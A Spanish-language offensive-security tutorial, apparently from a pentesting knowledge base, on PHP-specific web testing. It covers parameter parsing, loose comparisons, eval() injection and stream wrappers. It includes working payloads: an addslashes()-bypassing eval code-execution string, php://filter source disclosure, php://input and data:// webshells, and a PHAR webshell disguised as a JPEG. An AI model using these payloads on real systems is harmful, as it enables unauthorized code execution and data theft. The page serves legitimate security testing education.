Árbol de conocimiento
Seguridad ofensiva
Shells
Transferencia de archivos
Aplicaciones web
En esta página
- Parsing de parámetros
- Scalars y arrays
- Parámetros duplicados y colisiones scalar-array
- Normalización de nombres de parámetros
- Precedencia de $_REQUEST
- Comparaciones laxas
- Strings numéricos y magic hashes
- Comprobaciones laxas de pertenencia
- Valores falsey y valores centinela
- Evaluación dinámica
- Contexto del código generado
- addslashes() e interpolación de strings
- Wrappers de streams
- php://filter
- php://input
- data://
- phar://
- Referencias
PHP Web Testing
Identificar PHP en una aplicación añade probes que dependen del runtime y de cómo PHP transforma los datos antes de que lleguen a la lógica de la aplicación. El parser de parámetros puede convertir un valor HTTP en un array, distintos nombres pueden terminar en la misma key, una comparación laxa puede cambiar según los tipos recibidos y un path controlable puede resolverse mediante un stream wrapper en lugar de como un fichero local.
Estos comportamientos son especialmente útiles con acceso al código, aunque muchos también pueden detectarse desde black-box comparando requests que sólo cambian en la representación del input.
Parsing de parámetros
Los valores recibidos mediante GET o formularios llegan normalmente a PHP como strings. El nombre del parámetro, sin embargo, puede construir arrays y estructuras anidadas.
Scalars y arrays
Un endpoint mínimo:
<?php
var_dump($_GET['role'] ?? null);
recibe un scalar con:
GET /?role=admin HTTP/1.1
Host: target
string(5) "admin"
La bracket notation cambia el tipo recibido:
GET /?role[]=admin HTTP/1.1
Host: target
array(1) {
[0]=>
string(5) "admin"
}
También pueden construirse keys:
GET /?role[level]=admin HTTP/1.1
Host: target
array(1) {
["level"]=>
string(5) "admin"
}
Cuando un valor atraviesa validación, autorización, comparación o una función que espera un scalar, merece la pena probar variaciones como:
id=1
id[]=1
id[x]=1
Parámetros duplicados y colisiones scalar-array
PHP también tiene que resolver parámetros repetidos. Con el parser de PHP 8.4.23:
role=user&role=admin
→ role = "admin"
Utilizar explícitamente arrays conserva ambos valores:
role[]=user&role[]=admin
→ role = ["user", "admin"]
Mezclar las dos representaciones cambia tanto el valor como el tipo final:
role=user&role[]=admin
→ role = ["admin"]
El orden inverso produce:
role[]=admin&role=user
→ role = "user"
Un conjunto pequeño de variantes cubre los casos principales:
param=a¶m=b
param=a¶m[]=b
param[]=a¶m=b
param[]=a¶m[]=b
Este comportamiento resulta especialmente interesante cuando un proxy, WAF, framework o capa de validación interpreta los parámetros antes de que PHP construya $_GET o $_POST. Si las capas seleccionan ocurrencias diferentes, el valor validado puede no coincidir con el que termina utilizando la aplicación.
Normalización de nombres de parámetros
PHP modifica algunos nombres externos antes de exponerlos al código.
Los puntos y espacios se convierten en underscores:
user.name=guest
termina accesible como:
$_GET['user_name']
Esto permite colisiones entre nombres HTTP distintos:
user.name=guest&user_name=admin
que terminan resolviéndose sobre la misma key PHP.
La bracket notation tiene otro comportamiento relevante. Si el nombre empieza con una sintaxis de array válida, los caracteres posteriores pueden ignorarse:
foo[bar]suffix=value
se interpreta como:
$_GET['foo']['bar'] === 'value'
Estos casos son útiles cuando una capa filtra o valida el nombre original del parámetro y otra trabaja con la representación ya normalizada por PHP.
Precedencia de $_REQUEST
$_GET y $_POST mantienen separados sus orígenes. $_REQUEST puede combinar GET, POST y, según configuración, cookies.
Si el código utiliza:
<?php
$role = $_REQUEST['role'];
conviene probar valores diferentes por canales distintos:
POST /action?role=user HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
role=admin
El valor efectivo depende de request_order y, si no está definido, de variables_order. PHP registra las fuentes de izquierda a derecha y los valores posteriores sobrescriben a los anteriores.
Este probe tiene sentido cuando el código utiliza $_REQUEST, cuando varias capas construyen parámetros desde fuentes diferentes o cuando la procedencia esperada de un valor no está clara.
Comparaciones laxas
PHP dispone de comparaciones estrictas y no estrictas:
$value == $expected;
$value === $expected;
=== exige que valor y tipo coincidan. == puede aplicar conversiones antes de comparar.
PHP 8 cambió varias reglas históricas, especialmente las comparaciones entre números y strings no numéricos:
PHP 7.x
0 == "foo"
→ true
PHP 8+
0 == "foo"
→ false
El cambio eliminó varios payloads clásicos. Las numeric strings y otras comparaciones coercitivas siguen siendo relevantes.
Strings numéricos y magic hashes
Cuando dos strings tienen una representación numérica válida, una comparación laxa puede compararlas numéricamente.
<?php
var_dump("0e123" == "000");
var_dump("2e1" == "020");
bool(true)
bool(true)
La e puede representar notación científica:
0e123 → 0 × 10^123 → 0
2e1 → 2 × 10^1 → 20
Esto mantiene vigente la familia de problemas conocida como magic hashes cuando el código compara laxamente valores con una forma compatible.
Dos inputs clásicos de MD5 producen hashes diferentes:
<?php
$a = md5('240610708');
$b = md5('QNKCDZO');
var_dump($a);
var_dump($b);
var_dump($a == $b);
var_dump($a === $b);
string(32) "0e462097431906509019562988736854"
string(32) "0e830400451993494058024219903391"
bool(true)
bool(false)
El probe sólo tiene sentido si los valores alcanzan una comparación no estricta y ambos son interpretables como numeric strings compatibles. Encontrar un hash que empieza por 0e no implica por sí solo un bypass.
En source review merece atención el uso de == o != sobre hashes, tokens, identificadores o valores derivados de transformaciones.
Comprobaciones laxas de pertenencia
Algunas APIs mantienen comparación laxa como comportamiento por defecto.
<?php
$allowed = [0];
var_dump(in_array('0', $allowed));
var_dump(in_array('0', $allowed, true));
bool(true)
bool(false)
Sin el tercer argumento true, in_array() utiliza comparación no estricta.
PHP 8 eliminó algunos edge cases históricos como consecuencia de las nuevas reglas string-number, pero strict=false sigue permitiendo coerción. Durante source review interesa revisar tanto operadores como APIs que aplican estas comparaciones internamente.
Valores falsey y valores centinela
Algunas construcciones PHP tratan valores aparentemente válidos como falsey.
empty("0")
devuelve:
true
También hay funciones que utilizan false como sentinel pero pueden devolver un valor válido igual a 0.
strpos() devuelve la posición de una coincidencia empezando por cero, o false si no existe. Código como:
<?php
if (strpos($input, '../') == false) {
process($input);
}
puede confundir ambos estados.
Con:
../etc/passwd
la cadena prohibida aparece en la posición cero:
strpos('../etc/passwd', '../')
int(0)
y la comparación:
0 == false
es verdadera.
El mismo error aparece con patrones como:
if (!strpos($input, '../')) {
...
}
Cuando una API puede devolver 0 o false, hay que revisar cómo se consume el resultado antes de asumir que ambos estados están distinguidos.
Histórico: password[]= + strcmp() antes de PHP 8
Un bypass clásico combinaba el parser de arrays con el comportamiento histórico de las funciones internas.
Código vulnerable:
<?php
if (strcmp($_POST['password'], $PASS) == 0) {
login();
}
El request:
POST /login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
password[]=
hacía que PHP proporcionara un array:
$_POST['password']
→ array()
Antes de PHP 8, muchas funciones internas manejaban tipos de argumento inválidos emitiendo un warning y devolviendo NULL. La cadena explotable era:
password[]=
↓
array()
↓
strcmp(array(), $PASS)
↓
warning + NULL
↓
NULL == 0
↓
true
PHP 8 hizo consistentes estos errores de tipo. strcmp() espera strings y pasarle un array provoca un TypeError.
PHP < 8
array → strcmp() → NULL → posible bypass
PHP 8+
array → strcmp() → TypeError
password[]= continúa siendo un probe válido para observar cómo la aplicación maneja un cambio de scalar a array. El bypass específico basado en strcmp() → NULL pertenece al comportamiento anterior a PHP 8.
Evaluación dinámica
eval() interpreta un string como código PHP. Cuando parte de ese string depende del usuario, la explotación está determinada por el código final que recibe el parser.
input
↓
transformations
↓
generated PHP
↓
eval()
↓
PHP parser
Contexto del código generado
Considera:
<?php
$input = $_GET['param'] ?? '';
$code = '$value = "' . $input . '";';
eval($code);
El input no se inserta simplemente en un eval. Termina dentro de una string PHP entre comillas dobles que forma parte del código generado.
Antes de construir un payload hay que reconstruir ese contexto: delimitadores, concatenaciones, funciones aplicadas y gramática válida después de las transformaciones.
addslashes() e interpolación de strings
addslashes() añade backslashes delante de:
'
"
\
NUL
No transforma $, { ni }, que forman parte de la sintaxis de interpolación de strings de PHP.
Con:
<?php
$input = addslashes($_GET['param'] ?? '');
$code = '$value = "' . $input . '";';
eval($code);
una variante reproducible en PHP 8.4.23 es:
GET /?param={${system($_GET[1])}}&1=id HTTP/1.1
Host: target
El código generado contiene:
$value = "{${system($_GET[1])}}";
La expresión system($_GET[1]) se evalúa mientras PHP resuelve la variable variable dentro de la string interpolada. El comando se ejecuta aunque después pueda aparecer un warning porque el resultado de system() también se utiliza como nombre de variable.
El índice numérico evita depender de bareword array keys como $_GET[cmd], que en PHP 8 provocan un error por constante indefinida.
La antigua forma de interpolación:
"${expression}"
quedó deprecada en PHP 8.2. La construcción anterior utiliza la forma potente {$...} con una variable variable anidada:
"{${expression}}"
La condición sigue siendo específica: el dato controlado debe terminar dentro de una string interpolada que después sea evaluada. Comillas simples, otra concatenación o transformaciones diferentes cambian la gramática y requieren un payload distinto.
El análisis útil de addslashes() consiste en identificar qué caracteres modifica y qué sintaxis válida sobrevive a esa transformación.
Wrappers de streams
Muchas funciones de filesystem de PHP trabajan con streams. Un valor que visualmente parece un filename puede resolverse mediante un esquema:
scheme://...
Cuando un path depende del usuario, probar sólo rutas locales deja fuera comportamientos propios de PHP. El wrapper útil depende del sink: include(), file_get_contents(), fopen(), file(), copy() y otras operaciones no consumen el stream de la misma manera.
php://filter
php://filter aplica filtros a un stream en el momento de abrirlo.
Ante:
<?php
include($_GET['page']);
un probe habitual es:
GET /?page=php://filter/convert.base64-encode/resource=/var/www/html/config.php HTTP/1.1
Host: target
En lugar de entregar directamente el contenido de config.php al parser como código PHP, el wrapper pasa sus bytes por el filtro Base64.
Un resultado interesante tiene esta forma:
PD9waHAKJGRiX3VzZXIgPSAn...
Después de decodificarlo se obtiene el source original.
El valor ofensivo del wrapper está en poder transformar un fichero antes de que lo procese el sink. En un include, esto puede permitir recuperar source que una inclusión directa ejecutaría.
php://filter no está restringido por allow_url_fopen.
php://input
php://input expone el cuerpo HTTP raw como un stream de solo lectura.
Si una aplicación permite controlar el argumento de un include:
<?php
include($_GET['page']);
y la configuración permite incluir este tipo de stream, el request body puede actuar como contenido del recurso:
POST /?page=php://input HTTP/1.1
Host: target
Content-Type: text/plain
<?php system($_GET['cmd']); ?>
con:
?cmd=id
php://input está sujeto a allow_url_include cuando se utiliza mediante include/require. Además, no está disponible para requests multipart/form-data cuando enable_post_data_reading está activado.
data://
data:// representa datos directamente dentro de la URI.
En el mismo sink:
include($_GET['page']);
puede utilizarse un recurso similar a:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
El Base64 representa:
<?php system($_GET['cmd']); ?>
y el request puede añadir:
&cmd=id
data:// está restringido por allow_url_fopen y allow_url_include. allow_url_include está desactivado por defecto y deprecado desde PHP 7.4, por lo que esta técnica depende de una configuración que no debe darse por supuesta.
phar://
phar:// expone los miembros internos de un PHP Archive (PHAR) mediante el sistema de streams.
Un archive puede contener:
payload.phar
└── payload.phpy el miembro interno puede direccionarse como:
phar:///tmp/payload.phar/payload.php
Un PHAR mínimo puede prepararse en la máquina del pentester:
<?php
$phar = new Phar('payload.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar['payload.php'] = <<<'PHP'
<?php system($_GET['cmd']); ?>
PHP;
$phar->stopBuffering();
La creación requiere permitir escritura de PHAR en ese entorno:
php -d phar.readonly=0 build.php
Esta directiva afecta a la construcción del archive, no a la lectura del fichero en el target.
Si la aplicación permite colocar el archivo en el servidor y existe un include controlable:
<?php
include($_GET['page']);
el probe puede apuntar al miembro interno:
GET /?page=phar:///var/www/uploads/payload.phar/payload.php&cmd=id HTTP/1.1
Host: target
phar:// no está restringido por allow_url_fopen ni por allow_url_include.
La extensión exterior tampoco tiene que revelar necesariamente el formato real. En una reproducción con PHP 8.4.23, los mismos bytes PHAR renombrados como:
avatar.jpg
seguían siendo accesibles mediante:
include 'phar:///tmp/avatar.jpg/payload.php';
y el miembro PHP interno se ejecutaba.
La condición ofensiva pasa a ser:
attacker-controlled file on disk
+
controllable path/include sink
↓
phar://uploaded-file/internal-member
No cualquier upload es suficiente. Tiene que existir un archive válido, una ruta local alcanzable y un sink cuya operación sobre el stream resulte útil.
Histórico: deserialización automática de metadata PHAR antes de PHP 8
phar:// también aparece en documentación ofensiva por una técnica distinta: automatic metadata deserialization.
Antes de PHP 8, determinadas operaciones de filesystem sobre un PHAR podían provocar la deserialización automática de la metadata del archive:
attacker-controlled PHAR
↓
file_exists("phar://...")
↓
automatic unserialize(metadata)
↓
object instantiation
↓
magic methods / gadget chain
La importancia era que no hacía falta encontrar una llamada explícita a unserialize().
PHP 8 eliminó este comportamiento automático. Abrir o inspeccionar un PHAR mediante el stream wrapper ya no deserializa por sí solo la metadata. La deserialización puede producirse cuando el código llama explícitamente a:
$phar->getMetadata();
Phar::getMetadata() advierte actualmente que acceder a metadata puede disparar deserialización y, por tanto, ejecución mediante objetos disponibles.
El análisis completo de unserialize(), magic methods y gadget chains pertenece a una futura Note de PHP Object Injection.
La explotación completa de LFI/RFI, uploads, logs, sessions y cadenas de inclusión merece una Note específica de File Inclusion. Aquí el punto relevante es reconocer las semánticas adicionales que PHP introduce cuando un input alcanza una operación sobre paths o streams.
Referencias
- PHP Manual — Variables From External Sources
- PHP Manual —
$_REQUEST - PHP Manual — Core
request_orderandvariables_orderconfiguration - PHP Manual — Comparison Operators
- PHP Manual — Numeric Strings
- PHP Manual —
in_array() - PHP Manual —
strpos() - PHP Manual —
strcmp() - PHP RFC — Saner string to number comparisons
- PHP RFC — Consistent type errors for internal functions
- PHP Manual —
eval() - PHP Manual —
addslashes() - PHP Manual — Strings
- PHP RFC — Deprecate
${}string interpolation - PHP Manual —
php:// - PHP Manual —
data:// - PHP Manual —
phar:// - PHP Manual —
Phar::getMetadata() - PHP RFC — Don’t automatically unserialize Phar metadata outside
getMetadata()